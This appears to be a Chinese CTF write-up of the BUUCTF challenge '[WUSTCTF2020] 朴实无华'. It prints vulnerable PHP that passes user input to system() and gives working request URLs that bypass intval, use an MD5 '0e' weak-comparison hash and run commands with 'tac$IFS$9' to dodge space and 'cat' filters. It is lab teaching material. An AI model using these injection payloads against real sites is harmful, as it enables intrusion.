0
点赞
收藏
分享

微信扫一扫

[WUSTCTF2020]朴实无华_WP

罗蓁蓁 2022-02-12 阅读 46

题目一览

文章目录


在这里插入图片描述

分析

  • 打开题目,除了hack me,没有得到可利用信息,查看源码
  • 虽然编码有一点问题,但还是发现了这个利用点bot,想到robots.txt网站的爬虫规则在这里插入图片描述
  • robots.txt在这里插入图片描述
    意为对任何爬虫,禁止其访问/fAke_f1agggg.php目录下的文件
    但对于这个提示,我们明显是要访问看看有无可利用信息
  • /fAke_f1agggg.php
    在这里插入图片描述
    在这里就很无措了,查看源码也什么都没有
    在这里插入图片描述

获取flag

  • 尝试抓包,在响应头里查找有效信息
  • /fl4g.php在这里插入图片描述
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

出现这个就比较狠了,开始代码审计

标题Level 1

  • intval() 函数用于获取变量的整数值。
  • (intval($num) < 2020 && intval($num + 1) > 2021)
    也就是说既要让传入的num取整数值后小于2020,加1取整数后还要大于2021
    在这里插入图片描述
    根据这个启发,我们可以进行如下尝试
  • 但不知道为什么,我的编译器并没有实现这个差异,所以我们直接在题目中传入参数,进行查验
 <?php
  echo intval('2e4');
  echo intval(2e4);
  echo intval('2e4'+1);
  echo intval(2e4+1);
  echo intval(1e10);                    
  echo intval('1e10');
  ?>
  • http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=%272e4%27
    金钱解决不了穷人的本质问题
  • http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4
    我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
    绕过成功,并且可以得出,会将传入的参数自动转换为字符串

Level 2

  • md5() 函数计算字符串的 MD5 散列。

  • ($md5==md5($md5))
    也就是说需要传入的参数与他的MD5散列弱比较值相等
    md5(0e215962017,32) = 0e291242476940776845150308577824
    传入参数
    http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017

  • 绕过成功在这里插入图片描述

get flag

if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag); 

-strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

  • str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
  • 所以在get flag这一步一共有3个要求
 参数中不能有空格		
 参数中如果有cat便要替换为wctf2020 
 参数会当作系统命令执行
  • http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
  • 在这里插入图片描述
    -http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
    tac绕过cat $IFS$9绕过空格
  • flag{6c1c57d3-5462-42d3-be85-df3998d042c7} 在这里插入图片描述
举报

相关推荐

0 条评论